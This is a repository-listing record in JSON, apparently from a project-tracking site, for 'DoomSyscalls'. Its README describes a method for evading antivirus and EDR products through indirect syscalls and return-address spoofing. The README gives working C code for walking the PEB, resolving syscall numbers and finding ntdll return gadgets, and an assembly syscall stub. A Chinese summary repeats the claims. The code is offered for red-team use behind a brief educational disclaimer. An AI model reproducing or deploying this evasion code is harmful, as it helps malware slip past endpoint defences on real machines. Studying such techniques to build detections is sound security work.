[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-80552":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":16,"stars30d":17,"stars90d":15,"forks30d":15,"starsTrendScore":15,"compositeScore":18,"rankGlobal":10,"rankLanguage":10,"license":19,"archived":20,"fork":20,"defaultBranch":21,"hasWiki":22,"hasPages":20,"topics":23,"createdAt":10,"pushedAt":10,"updatedAt":28,"readmeContent":29,"aiSummary":30,"trendingCount":15,"starSnapshotCount":15,"syncStatus":17,"lastSyncTime":31,"discoverSource":32},80552,"DoomSyscalls","SilentisVox\u002FDoomSyscalls","SilentisVox","Clean Indirect Syscalls with Hook Evasion & Return Address Spoofing.","",null,"C",93,11,91,0,1,2,43.94,"MIT License",false,"main",true,[24,25,26,27],"av-evasion","edr-evasion","indirect-syscall","rop-gadgets","2026-06-11 04:07:13","\u003Cdiv align=\"center\" markdown=\"1\">\n  \u003Cimg width=\"300\" src=\"assets\u002Fdoom.png\">\n  \u003C\u002Fbr>\n  \u003Csup>Destroying EDRs & AVs\u003C\u002Fsup>\n\u003C\u002Fdiv>\n\n# DoomSyscalls\n\nDoomSyscalls is a new method of performing clean indirect syscalls.\nThe primary component is dynamically resolving **System Service Numbers** (SSNs), and `syscall` instruction addresses.\nThe secondary component is **RIP** spoofing via addresses within `ntdll.dll`.\nThe combination of both should bypass any userland hooks & kernel level checks.\n\n**Disclaimer**: The purpose of this is for educational purposes and testing only.\nDo not use this on machines you do not have permission to use.\nDo not use this to leverage and communicate with machines that you do not have authorization to use.\n\n###### Special thank you to https:\u002F\u002Fgithub.com\u002FWaffleSec\n\n## Preamble.\n\nIndirect syscalls is a method of performing syscalls to bypass **Endpoint Detection & Response** (EDR).\nEDRs will hook into `ntdll.dll` to inspect elements before syscalls.\nThis is widely used by researchers and red-teamers.\nFor the most part, and from the user perspective, this bypasses any checks before execution.\nSome EDRs will run at the kernel level;\nIf such security solutions inspect the return address, and it lies outside of `ntdll.dll`, this is a sign of tampering.\n\nTo minimize detections, a user can handcraft a function call that resembles one that came from trusted memory.\nThis will be considered my documentation and research to bypassing AV and EDR;\nThis approach will be aligned with standard operating procedures from Windows x64.\n\n## How it works.\n\nThere will be 2 parts to building a manual syscall stub.\nFor the first, we will find the exports from `ntdll.dll`.\nWe will parse the export data for the desired SSN and `syscall` address.\nFor the second, we will parse exported functions, but for a specific series of instructions.\nThe instructions will be `ADD RSP, 0xXX; RET`.\nWe will save the address, and push it to the top of the stack as the return address.\nThis, both, bypasses userland hooks, and obfuscates the return address as a safe address.\n\nEvery **Dynamically Linked Library** (DLL) comes with exported information.\nFrom the exported information, we find things like `NumberOfNames`, `ArrayOfNames`, `ArrayOfNameOrdinals`, & `ArrayOfFunctions`.\nThe index of the name correlates the index of an ordinal.\nThis ordinal correlates to a function address within the DLL.\n\nBy calculating the desired functions address, we can check each byte to find the SSN & `syscall` address.\nThis will be used to manually stub before jumping to the syscall.\n\nFor the stack manipulation and return, we will search random functions for similar instructions.\nIf one that is suitable is found (the 0x58 or more is added to the stack pointer), this will be used as our spoofed return address.\nBefore spoofing, we will subtract that said amount from the stack pointer and copy all arguments to the new stack location.\nFinally, push the spoof return address for a clean indirect syscall.\n\n## Example.\n\n\u003Cdiv align=\"center\" markdown=\"1\">\n  \u003Csup>Breakpoint set in x64dbg\u003C\u002Fsup>\n  \u003C\u002Fbr>\n  \u003Cimg width=\"800\" src=\"assets\u002Fstack.png\">\n  \u003C\u002Fbr>\n  \u003C\u002Fbr>\n  \u003Cimg width=\"800\" src=\"assets\u002Fdbg.png\">\n  \u003C\u002Fbr>\n  \u003C\u002Fbr>\n\u003C\u002Fdiv>\n\nEach syscall is resolved dynamically.\nWith every syscall, a unique return is found in `ntdll.dll`. \nIt subtracts an amount bigger than 0x58 or greater from the stack pointer, then returns immediately.\n\nWhen observing this in execution, we can see all the syscalls resolved.\nEach SSN and `syscall` instruction address is saved.\nA unique return is obtained and saved.\nWhen calling our franken-stub, we adjust the stack pointer that of which we captured.\nWe then copy all arguments to the new region of stack.\nPerform manual stubbing `mov r10, rcx; mov eax, [rel ssn]`.\nFinally, jump to the `syscall` instruction.\n\nWith all in place, we hand off execution to the kernel.\nWe start executing again at `ret`, where we land at our unique landing pad.\nThe value obtained is subtracted from the stack pointer.\nAt last, `ret` is executed where the RIP lands back at our code.\n\n\u003Cdiv align=\"center\" markdown=\"1\">\n  \u003Csup>Continuing execution\u003C\u002Fsup>\n  \u003C\u002Fbr>\n  \u003Cimg width=\"800\" src=\"assets\u002Fexe.png\">\n  \u003C\u002Fbr>\n  \u003C\u002Fbr>\n\u003C\u002Fdiv>\n\n## Technicals.\n\n###### Export parsing.\n\n```c\n\u002F\u002F The segment register (GS) contains a pointer the the TEB.\n\u002F\u002F At the 0x60 byte offset contains a pointer to the PEB.\nULONG_PTR GET_NTDLL() {\n        ULONG_PTR pPEB          =  __readgsqword(0x60);\n        ULONG_PTR pLdrData      = *(ULONG_PTR *) (pPEB + 0x18);\n        ULONG_PTR pMdlList      = *(ULONG_PTR *) (pLdrData + 0x30);\n        ULONG_PTR pModule       = *(ULONG_PTR *) (pMdlList + 0x10);\n\n        return pModule;\n}\n\n\u002F\u002F From the base address, the 0x3C offset contains the offset to the NT Headers\n\u002F\u002F From the NT Headers, the 0x88 offset contains the offset to the Export Directory.\nVOID INIT_NTDLL_CONFIG() {\n        ULONG_PTR pNtdll        = GET_NTDLL();\n        ULONG_PTR pNtHdr        = (pNtdll + *(ULONG *) (pNtdll + 0x3C));\n        ULONG_PTR pExpDir       = (pNtdll + *(ULONG *) (pNtHdr + 0x88));\n\n        NTDLL_CONFIG.pModule            = pNtdll;\n        NTDLL_CONFIG.NumberOfNames      = *(ULONG *) (pExpDir + 0x18);\n        NTDLL_CONFIG.ArrayOfAddresses   = (pNtdll + *(ULONG *) (pExpDir + 0x1C));\n        NTDLL_CONFIG.ArrayOfNames       = (pNtdll + *(ULONG *) (pExpDir + 0x20));\n        NTDLL_CONFIG.ArrayOfOrdinals    = (pNtdll + *(ULONG *) (pExpDir + 0x24));\n}\n```\n\n###### Locating SSN and syscall.\n\n```c\n\u002F\u002F Parsing over every name to compare it to a given hash.\n\u002F\u002F Once a hash matches, that index reflects an ordinal.\n\u002F\u002F That ordinal reflects the address to a function.\n\u002F\u002F Parsing over the function bytes, find the SSN and syscall address.\nVOID GET_NTDLL_FUN(ULONG SymbolHash, PNTDLL_FUNCTION SymbolData) {\n        if (!NTDLL_CONFIG.pModule)\n                INIT_NTDLL_CONFIG();\n\n        for (UINT index = 0; index != NTDLL_CONFIG.NumberOfNames; index++) {\n                PCHAR SymbolName = (PCHAR) (NTDLL_CONFIG.pModule + *(ULONG *) (NTDLL_CONFIG.ArrayOfNames + (index * 4)));\n\n                if (ROR7_32(SymbolName) != SymbolHash)\n                        continue;\n\n                USHORT SLOT             = *(USHORT *) (NTDLL_CONFIG.ArrayOfOrdinals + (index * 2));\n                SymbolData->SyscallStub = (NTDLL_CONFIG.pModule + *(ULONG *) (NTDLL_CONFIG.ArrayOfAddresses + (SLOT * 4)));\n                break;\n        }\n        for (UINT index = 0; index != 255; index++) {\n                if ((*(ULONG *) (SymbolData->SyscallStub + index) & 0xFF0000FF) != 0x000000B8)\n                        continue;\n\n                SymbolData->SystemServiceNumber = *(ULONG *) (SymbolData->SyscallStub + index + 1);\n                break;\n        }\n        for (UINT index = 0; index != 255; index++) {\n                if (*(USHORT *) (SymbolData->SyscallStub + index) != 0x050f)\n                        continue;\n\n                SymbolData->SyscallInstruction = SymbolData->SyscallStub + index;\n                break;\n        }\n        for (UINT index = 0, start = 0, random = rand() % NTDLL_CONFIG.NumberOfNames; index \u003C NTDLL_CONFIG.NumberOfNames; index++, start++) {\n                if ((start + random) == NTDLL_CONFIG.NumberOfNames)\n                        start = 0 - random;\n\n                USHORT SLOT     = *(USHORT *) (NTDLL_CONFIG.ArrayOfOrdinals + ((start + random) * 2));\n                ULONG_PTR START = (NTDLL_CONFIG.pModule + *(ULONG*) (NTDLL_CONFIG.ArrayOfAddresses + (SLOT * 4)));\n\n                ULONG_PTR RETURN;\n                CHAR AMOUNT;\n\n                if (!IDEAL(START, &RETURN, &AMOUNT)) {\n                        continue;\n                }\n\n                SymbolData->Landing = RETURN;\n                SymbolData->Size    = AMOUNT;\n                break;\n        }\n}\n```\n\n###### Locating dummy return addresses.\n\n```c\n\u002F\u002F Parse over any given function, if there contains an ideal setup, return.\nBOOL IDEAL(ULONG_PTR START, ULONG_PTR *RETURN, CHAR *SIZE) {\n        for (UINT index = 0; index \u003C 255; index++) {\n                ULONG_PTR SEARCH        = *(ULONG_PTR *) (START + index);\n                CHAR AMOUNT             = *(CHAR *)      (START + index + 3);\n\n                if (\n                        (((SEARCH & 0x000000FF00FFFFFF) == 0x000000C300C48348) || \n                        ((SEARCH & 0xFFFFFFFF00FFFFFF) == 0xC300000000C48148)) && \n                        (AMOUNT >= 0x58)\n                ) {\n                        *RETURN         = START + index;\n                        *SIZE           = AMOUNT;\n                        return TRUE;\n                }\n        }\n        return FALSE;\n}\n```\n\n###### Stubbing.\n\n```x86asm\nRUN_SYSCALL:\n        ; ADJUST STACK\n        MOV     AL,     BYTE    [REL STACK_SIZE]\n        SUB     RSP,    RAX\n        ; SPOOF RETURN\n        MOV     RAX,    QWORD   [REL DUMMY_RETURN]\n        PUSH    RAX\n        ; COPY PARAMS\n        ...\nSTUB:\n        ; MANUAL STUB\n        MOV     R10,    RCX\n        MOV     EAX,    DWORD   [REL SYSTEM_SERVICE_NUMBER]\n        JMP     QWORD   [REL SYSCALL_ADDRESS]\n```\n\n## References.\n\n- Original HellsGate https:\u002F\u002Fgithub.com\u002Fam0nsec\u002FHellsGate\u002Ftree\u002Fmaster\n- Original HalosGate https:\u002F\u002Fblog.sektor7.net\u002F#!res\u002F2021\u002Fhalosgate.md\n- DLL Proxying https:\u002F\u002F0xdarkvortex.dev\u002Fproxying-dll-loads-for-hiding-etwti-stack-tracing","DoomSyscalls 是一种执行间接系统调用以绕过安全软件检测的方法。其核心功能包括动态解析系统服务号（SSNs）和`syscall`指令地址，以及通过`ntdll.dll`内的地址进行RIP欺骗。这种组合能够规避用户层的钩子和内核级别的检查。该项目适合于研究者和红队成员在测试环境中了解和评估反病毒软件（AV）与端点检测响应（EDR）系统的防护能力时使用。请注意，该工具仅供教育和测试目的，在未经授权的情况下不得用于任何非法活动。","2026-06-11 04:01:10","CREATED_QUERY"]